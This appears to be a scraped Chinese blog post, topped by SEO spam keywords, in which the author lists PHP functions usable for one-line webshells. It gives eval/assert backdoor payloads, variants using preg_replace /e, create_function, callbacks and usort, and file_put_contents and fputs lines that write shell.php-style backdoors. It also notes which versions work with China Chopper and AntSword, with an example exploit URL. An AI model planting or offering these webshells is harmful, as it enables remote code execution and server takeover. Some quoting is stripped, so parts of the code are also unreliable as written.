邵阳市建设投资经营集团网站,做网站wamp和xamp,杭州网站的优化,网络公关在哪些方面能发挥作用前言大家好#xff0c;我是阿里斯#xff0c;一名IT行业小白。非常抱歉#xff0c;昨天的内容出现瑕疵比较多#xff0c;今天重新整理后再次发出#xff0c;修改并添加了细节#xff0c;另增加了常见的命令执行函数如果哪里不足#xff0c;还请各位表哥指出。eval和asse…前言大家好我是阿里斯一名IT行业小白。非常抱歉昨天的内容出现瑕疵比较多今天重新整理后再次发出修改并添加了细节另增加了常见的命令执行函数如果哪里不足还请各位表哥指出。eval和assert的区别eval特点eval()会把字符串按照php代码来执行(合法的php代码以分号结尾)eval()是一个语言构造器不能被可变函数调用eval($_REQUEST[1]); #eval一句话木马使用方式$_POST[1]($_POST[2]) #这里我们使用可变函数参数1传入eval会不可用assert特点把字符串当做php代码去执行这里对字符串的要求吗没有eval严格assert在php7.0也不再是函数变成了语言结构(不能使用可变函数了)函数eval()$a $_POST[cmd1];eval($a);assert()assert($_REQUEST[a]); #11年16年的菜刀可以使用# 参考链接 https://www.freebuf.com/articles/web/56616.htmlpreg_replace()这个函数的第一个参数是正则表达式按照PHP的格式表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”那么这个函数的第二个参数就会被当作代码执行preg_replace(/asd/e, $_POST[a], asdfasdg);# 14年的菜刀不行 蚁剑报错# php5.5后开始弃用/e模式但是经过测试11的菜刀配合php5.6还可以使用create_function()create_function()创建匿名函数如果没有严格对参数传递进行过滤攻击者可以构造特殊字符串传递给create_function()执行任意命令。create_function的实现步骤1. 获取参数, 函数体;2. 拼凑一个function __lambda_func (参数) { 函数体;} 的字符串;3. eval;4. 通过\_\_lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;5. 定义一个函数名:\000_lambda_ . count(anonymous_functions);6. 用新的函数名替换__lambda_func;7. 返回新的函数。8. 参考链接 https://www.t00ls.net/articles-20774.html$func create_function(, $_POST[cmd]);$func();call_user_func()把第一个参数作为回调函数调用,其余参数是回调函数的参数。call_user_func(assert, $_REQUEST[cmd]);# 经过测试php7.0已失效call_user_func_array()调用回调函数并把一个数组参数作为回调函数的参数$cmd $_REQUEST[cmd];$arr[0] $cmd;call_user_func_array(assert, $arr);# 7.0 php测试失败array_filter()第一个参数为数组第二个参数为回调函数。这个函数的作用就是将array数组中的每个值传递给回调函数做参数。$cmd $_REQUEST[cmd];$arr array($cmd);$func $_REQUEST[func];array_filter($arr, $func);# 经过测试php7.0失效usort()函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参参考链接http://www.am0s.com/functions/97.htmlusort(...$_GET);# php5.6以上7.0以下有效#利用方式#http://127.0.0.1:8999/test/project/code_run.php?1[]1-11[]eval($_POST[x])2assert#xphpinfo();file_put_contents()把一个字符串写入文件中在浏览器访问这个文件会生成相应的木马文件。$ma ?php eval($_REQUEST[cmd]);?;#这里一定要使用单引号双引号会把$_REQUEST[]当作变量使用file_put_contents(muma.php, $ma);fputs()同上fputs(fopen(shell.php, w), ?php eval($_REQUEST[cmd])?);动态函数$_GET[a]($_POST[b]);array_map()array_map($_GET[func], array($_POST[cmd]));命令执行函数(常见)system()将字符串当作shell命令执行返回最后一行shell命令的执行结果system(whoami);passthru()调用shell命令把命令的执行结果输出到标准输出设备上passthru(whoami)exec()不输出结果返回shell命令执行结果的最后一行print(exec(whoami));shell_exec()不输出结果返回shell命令执行的所有结果print(shell_exec(whoami dir));反引号加了反引号的字符串将尝试作为外壳命令来执行并将奇输出信息返回。print(whoami);结语欢迎各位转发点再看感激不尽